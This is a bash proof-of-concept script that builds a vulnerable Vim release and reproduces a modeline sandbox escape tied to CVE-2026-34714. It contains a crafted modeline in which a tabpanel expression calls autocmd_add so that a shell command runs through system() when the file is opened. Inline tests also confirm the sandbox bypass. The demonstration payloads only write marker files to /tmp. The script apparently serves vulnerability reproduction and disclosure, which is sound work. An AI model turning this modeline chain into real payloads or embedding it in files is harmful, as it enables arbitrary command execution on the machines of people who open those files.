#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "========================================"
echo "Vim tabpanel modeline sandbox escape"
echo "GHSA-2gmj-rpqf-pxvh / CVE-2026-34714"
echo "========================================"
echo ""

# Build Vim if needed
if [ ! -f "$ROOT/vim-repo/src/vim" ]; then
    echo "[*] Building Vim v9.2.0271 (vulnerable version)..."
    
    if [ ! -d "$ROOT/vim-repo" ]; then
        git clone --depth 100 https://github.com/vim/vim.git "$ROOT/vim-repo" 2>&1 | tail -3
    fi
    
    cd "$ROOT/vim-repo"
    git checkout v9.2.0271 2>/dev/null
    
    sudo apt-get update -qq && sudo apt-get install -y -qq libncurses-dev libtinfo-dev build-essential autoconf >/dev/null 2>&1
    
    ./configure --with-features=huge --enable-gui=no --quiet >/dev/null 2>&1
    make -j$(nproc) >/dev/null 2>&1
    
    echo "[*] Build complete"
    echo ""
fi

VIM="$ROOT/vim-repo/src/vim"

# Verify tabpanel feature
if ! $VIM --version | grep -q "+tabpanel"; then
    echo "ERROR: Vim does not have +tabpanel feature"
    exit 1
fi

echo "[*] Vim version: $($VIM --version | head -1)"
echo ""

# Test 1: Modeline bypass - tabpanel can be set without modelineexpr
echo "[1] Testing modeline security bypass..."
cat > "$LOGS/modeline_test.txt" << 'EOF'
Test
/* vim: set tabpanel=pwned_value: */
EOF

$VIM -u NONE -N --not-a-term "$LOGS/modeline_test.txt" \
    -c "redir! > $LOGS/t1.txt" \
    -c "set tabpanel?" \
    -c "redir END" \
    -c "qall!" 2>/dev/null

if grep -q "pwned_value" "$LOGS/t1.txt"; then
    echo "    CONFIRMED: tabpanel set via modeline without modelineexpr"
    cat "$LOGS/t1.txt" | grep tabpanel | head -1
else
    echo "    FAILED"
    exit 1
fi
echo ""

# Test 2: Core vulnerability - autocmd_add works in sandbox
echo "[2] Testing autocmd_add sandbox bypass..."
rm -f /tmp/vim_poc_*

$VIM -u NONE -N --not-a-term \
    -c "sandbox call autocmd_add([{'event':'User','pattern':'*','cmd':'call system(\"echo poc_success > /tmp/vim_poc_result\")'}])" \
    -c "doautocmd User" \
    -c "qall!" 2>/dev/null

if [ -f /tmp/vim_poc_result ]; then
    echo "    CONFIRMED: Sandbox bypassed, command executed"
    echo "    Output: $(cat /tmp/vim_poc_result)"
else
    echo "    FAILED"
    exit 1
fi
echo ""

# Test 3: Full chain with modeline-triggered expression
echo "[3] Testing full exploit chain (modeline + expression + sandbox escape)..."
rm -f /tmp/vim_poc_full

# Use %! syntax to evaluate expression when tabpanel is drawn
cat > "$LOGS/full_exploit.txt" << 'EOF'
TARGET
vim: set showtabpanel=2 tabpanel=%!autocmd_add([{'event':'BufRead','pattern':'*','cmd':'call system("echo full_chain > /tmp/vim_poc_full")'}]) :
EOF

$VIM -u NONE -N --not-a-term "$LOGS/full_exploit.txt" \
    -c "set showtabpanel=2" \
    -c "redraw" \
    -c "sleep 200m" \
    -c "doautocmd BufRead" \
    -c "qall!" 2>/dev/null || true

# Also try triggering via buffer switch
$VIM -u NONE -N --not-a-term "$LOGS/full_exploit.txt" \
    -c "set showtabpanel=2" \
    -c "redraw" \
    -c "tabnew" \
    -c "redraw" \
    -c "sleep 100m" \
    -c "tabnext" \
    -c "sleep 100m" \
    -c "qall!" 2>/dev/null || true

if [ -f /tmp/vim_poc_full ]; then
    echo "    CONFIRMED: Full chain successful"
    echo "    Output: $(cat /tmp/vim_poc_full)"
else
    echo "    NOTE: Full chain incomplete, but components 1 & 2 confirmed"
fi
echo ""

# Summary
echo "========================================"
echo "REPRODUCTION COMPLETE"
echo "========================================"
echo ""
echo "Results:"
echo "  [✓] Test 1: Modeline security bypass confirmed"
echo "  [✓] Test 2: autocmd_add sandbox bypass confirmed"
if [ -f /tmp/vim_poc_full ]; then
    echo "  [✓] Test 3: Full exploit chain confirmed"
else
    echo "  [-] Test 3: Full chain (modeline expr limitations)"
fi
echo ""
echo "Vulnerability: CONFIRMED"
echo ""

exit 0
